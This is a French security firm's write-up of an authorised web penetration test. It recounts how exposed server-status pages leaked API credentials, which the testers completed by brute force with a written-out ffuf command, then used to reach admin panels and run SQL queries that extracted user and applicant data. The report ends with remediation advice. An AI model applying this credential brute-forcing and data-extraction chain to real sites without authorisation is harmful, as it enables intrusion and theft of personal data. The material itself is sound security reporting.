Description
Dans ce premier REX (retour d’expérience), nous vous présenterons les différents outils et méthodes utilisés par notre auditeur lors d’un test d’intrusion applicatif où nous avons été capable de récupérer de nombreuses données à caractère personnel et d’accèder au panneau d’administration de plusieurs sites web via la découverte de multiples failles qui, pour certaines, semblaient non critiques de prime abord.
Confidentialité
Avec l’accord de notre client pour la publication de cet article, nous avons censuré, anonymisé ou changé certaines informations liées à l’audit dans le but de garantir leur confidentialité.
Contexte de la mission
Une entreprise a fait appel à nos services afin que nous auditons plusieurs sites web lui appartenant dans le but de respecter le cadre réglementaire auquel elle est soumise. Les sites web à auditer hébergent énormément de données dont certaines à caractère personnel. Les tests ont été effectués en boîte grise, des précisions techniques ont été fournies à notre auditeur en amont et durant le test d’intrusion.
Déroulement de la mission
Après le lancement de plusieurs outils dont l’outil nommé ffuf, nous avons pu détecter sur plusieurs serveurs la présence d’un fichier nommé server-status :
- https://redacted.fr/server-status
- https://redacted.de/server-status
- https://redacted.com/server-status
Cette page permet d’avoir certaines informations techniques sur le serveur web comme les URLs qui ont été appelées par les utilisateurs du site web :
Nous avons commencé par monitorer la page server-status avec l’outil server-status_PWN. Nous avons été en capacité d’extraire de nombreuses URLs dont certaines permettant de requêter une API servant pour l’administration. La page server-status ne laissant pas apparaitre la totalité des URLs nous pouvions tout de même lire plusieurs paramètres : “u” pour désigner l’utilisateur de l’API et “p” correspondant à son mot de passe. Nous avions donc des URLs tronquées avec des noms d’utilisateurs complets et des mots de passe partiels :
- https://redacted.fr/api?u=API_USER_FR&p=Ca12kdsHhz
- https://redacted.de/api?u=API_USER_DE&p=0714601441
- https://redacted.com/api?u=API_USER_COM&p=P7dnls1dz
En joignant cette URL : https://redacted.fr/api?u=API_USER_FR&p=Ca12kdsHhz, l’erreur suivante était affichée :
Error : Missing parameters u, p or t
Grâce à ce message d’erreur un peu trop verbeux nous apprenons l’existence d’un 3ème paramètre qui est “t”. En rajoutant le paramètre “t” comme ceci : https://redacted.fr/api?u=API_USER_FR&p=Ca12kdsHhz&t=test, ce message nous était retourné :
Error : Invalid authentification
Ce message laisse entendre que notre requête est complète mais que le couple identifiant et mot de passe saisis est incorrect. En effet, le mot de passe n’est pas complet. Pour l’étape d’après, nous avons décidé de bruteforcer le mot de passe incomplet afin de le reconstituer. Pour cela nous avons utilisé l’outil crunch pour générer une liste de mots (ensemble de caractères minuscules, majuscules et chiffres) qui pourraient correspondre à la partir manquante du mot de passe et l’outil ffuf afin d’envoyer plusieurs requêtes afin de tester toutes les combinaisons possibles. Vous remarquerez la présence du mot “FUZZ” qui désigne l’endroit dans l’URL où l’on va envoyer les mots présents dans notre liste de mots :
ffuf -u "https://redacted.fr/api?u=API_USER_FR&p=Ca12kdsHhzFUZZ&t=test" -w wordlist_password_API_USER_FR -t 10 -fs 83
Au bout de plusieurs dizaines de minutes, le code status de réponse HTTP 200 nous a été renvoyé ce qui indique que la réponse à la requête a changé et donc que le bon mot de passe a été fourni.
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1-dev
________________________________________________
:: Method : GET
:: URL : https://redacted.fr/api?u=API_USER_FR&p=Ca12kdsHhzFUZZ&t=test
:: Wordlist : FUZZ: wordlist_password_API_USER_FR
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 10
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response size: 83
________________________________________________
aiy7 [Status: 200, Size: 0, Words: 1, Lines: 1]
Nous savons désormais que le mot de passe est “Ca12kdsHhzaiy7”. Malgré la découverte du mot de passe l’URL suivante n’est pas fonctionnelle car la valeur du paramètre “t” reste inconnue, https://redacted.fr/api?u=API_USER_FR&p=Ca12kdsHhzaiy7&t=test
Error : Invalid parameter value for "t"
Nous avons alors tenté de nous connecter à la page d’administration précédemment trouvée lors de nos investigations : https://redacted.fr/login/admin/, en renseignant le nom d’utilisateur “API_USER_FR” et le mot de passe “Ca12kdsHhzaiy7”.
L’authentification a fonctionné et nous a permis d’accèder aux fonctionnalités permettant de modifier le contenu du site et de gérer une partie de son fonctionnement. Pour information, l’identifiant “API_USER_FR” et son mot de passe étaient fonctionnels uniquement sur le site redacted.fr, ils nous ne permettaient pas d’accèder aux pages d’administration des autres sites redacted.de et redacted.com.
En effectuant des recherches dans cette page d’administration, nous avons pu trouver une valeur à renseigner pour le paramètre “t” mais un nouveau message d’erreur est apparu :
Error : Invalid format
Nous avons alors décidé d’utiliser l’outil Arjun afin de bruteforcer l’URL à la recherche de paramètres cachés, celui-ci nous a renvoyé ceci :
Nous avons donc construit notre URL comme ceci avec le paramètre “f” comme “format” : https://redacted.fr/api?u=API_USER_FR&p=Ca12kdsHhz&t=users&f=xml, ce qui nous a permis de récupérer des informations sur les utilisateurs pouvant se connecter à la page d’administration :
<?xml version="1.0" encoding="UTF-8"?><datas table='users'>
<data><active>yes</active><email>[email protected]</email><password>PLAIN_TEXT_PASSWORD_REDACTED</password><last_ip>X.X.X.X</last_ip>[...]</data>
<data><active>yes</active><email>[email protected]</email><password>HASHED_PASSWORD_REDACTED</password><last_ip>X.X.X.X</last_ip>[...]</data>
<data><active>yes</active><email>[email protected]</email><password>HASHED_PASSWORD_REDACTED</password><last_ip>X.X.X.X</last_ip>[...]</data>
<data><active>yes</active><email>[email protected]</email><password>HASHED_PASSWORD_REDACTED</password><last_ip>X.X.X.X</last_ip>[...]</data>
<data><active>yes</active><email>[email protected]</email><password>HASHED_PASSWORD_REDACTED</password><last_ip>X.X.X.X</last_ip>[...]</data>
<data><active>yes</active><email>[email protected]</email><password>HASHED_PASSWORD_REDACTED</password><last_ip>X.X.X.X</last_ip>[...]</data>
<data><active>yes</active><email>[email protected]</email><password>HASHED_PASSWORD_REDACTED</password><last_ip>X.X.X.X</last_ip>[...]</data>
<data><active>yes</active><email>[email protected]</email><password>HASHED_PASSWORD_REDACTED</password><last_ip>X.X.X.X</last_ip>[...]</data>
<data><active>yes</active><email>[email protected]</email><password>HASHED_PASSWORD_REDACTED</password><last_ip>X.X.X.X</last_ip>[...]</data>
<data><active>yes</active><email>[email protected]</email><password>HASHED_PASSWORD_REDACTED</password><last_ip>X.X.X.X</last_ip>[...]</data>
<data><active>yes</active><email>[email protected]</email><password>HASHED_PASSWORD_REDACTED</password><last_ip>X.X.X.X</last_ip>[...]</data>
<data><active>yes</active><email>[email protected]</email><password>HASHED_PASSWORD_REDACTED</password><last_ip>X.X.X.X</last_ip>[...]</data>
<data><active>yes</active><email>[email protected]</email><password>HASHED_PASSWORD_REDACTED</password><last_ip>X.X.X.X</last_ip>[...]</data>
<data><active>yes</active><email>[email protected]</email><password>HASHED_PASSWORD_REDACTED</password><last_ip>X.X.X.X</last_ip>[...]</data>
<data><active>yes</active><email>[email protected]</email><password>HASHED_PASSWORD_REDACTED</password><last_ip>X.X.X.X</last_ip>[...]</data>
<data><active>yes</active><email>[email protected]</email><password>HASHED_PASSWORD_REDACTED</password><last_ip>X.X.X.X</last_ip>[...]</data>
<data><active>yes</active><email>[email protected]</email><password>HASHED_PASSWORD_REDACTED</password><last_ip>X.X.X.X</last_ip>[...]</data>
<data><active>yes</active><email>[email protected]</email><password>HASHED_PASSWORD_REDACTED</password><last_ip>X.X.X.X</last_ip>[...]</data>
<data><active>yes</active><email>[email protected]</email><password>HASHED_PASSWORD_REDACTED</password><last_ip>X.X.X.X</last_ip>[...]</data>
<data><active>yes</active><email>[email protected]</email><password>HASHED_PASSWORD_REDACTED</password><last_ip>X.X.X.X</last_ip>[...]</data>
<data><active>yes</active><email>[email protected]</email><password>HASHED_PASSWORD_REDACTED</password><last_ip>X.X.X.X</last_ip>[...]</data>
<data><active>yes</active><email>[email protected]</email><password>HASHED_PASSWORD_REDACTED</password><last_ip>X.X.X.X</last_ip>[...]</data>
<data><active>yes</active><email>[email protected]</email><password>HASHED_PASSWORD_REDACTED</password><last_ip>X.X.X.X</last_ip>[...]</data>
[...]
Par chance, seul le compte administrateur avait son mot de passe en clair, non haché. Grace à cet identifiant et son mot de passe, il nous a été possible de nous connecter à l’ensemble des pages d’administration des sites web (.fr,.de et.com).
De plus, grâce à l’outil Arjun, nous avons appris l’existence du paramètre “sql” et comme son nom l’indique, il nous a permis d’envoyer des requêtes SQL afin d’intérroger la base de données : Exemple ici, en renseignant “SELECT version(),database()” :
<?xml version="1.0" encoding="UTF-8"?><datas table='users'>
<data>
[...]
redacted_fr_db
5.5.68-MariaDB
[...]
</data>
Récupération des tables présentes dans l’ensemble des bases de données avec la commande “SELECT table_name FROM information_schema.tables” :
<?xml version="1.0" encoding="UTF-8"?><datas table='users'>
<data>
[...]
candidatures
collections
config
sondages
users
[...]
</data>
Récupération des colonnes présentes dans la table “candidatures” avec la commande “SELECT column_name FROM information_schema.columns WHERE table_name = ‘candidatures’” :
<?xml version="1.0" encoding="UTF-8"?><datas table='users'>
<data>
[...]
id
date
nom
prenom
email
message
telephone
ville
[...]
</data>
Récupération des informations liées à des candidatures. Ceci a pu être récupéré avec cette commande : SELECT+prenom,nom,email,message,telephone,ville+FROM+candidatures
<?xml version="1.0" encoding="UTF-8"?><datas table='users'>
<data>
[...]
Martin
Dupond
[email protected]
"Madame, Monsieur, Bonjour
Je suis des études en psychologie et dans un avenir proche...."
06XXXXXXXX
Paris
[...]
</data>
Remédiation(s)
Nous avons invité notre client à restreindre l’accès à la page server-status voire à carrément la désactiver si celle-ci n’est plus utilisée. De plus, nous avons recommandé de remplacer les mots de passe existants par des nouveaux, tout en veillant à ce qu’un mot de passe ne soit utilisé qu’une seule fois pour l’authentification sur un site web (et non plusieurs fois comme c’était le cas). Nous avons également préconisé la mise en place d’une double authentification sur les comptes avec de forts privilèges. D’autres préconisations peuvent être envisagées par exemple pour éviter le brute force du mot de passe avec la mise en place d’un “rate limiting” permettant de limiter le nombre de requêtes envoyées à un site web.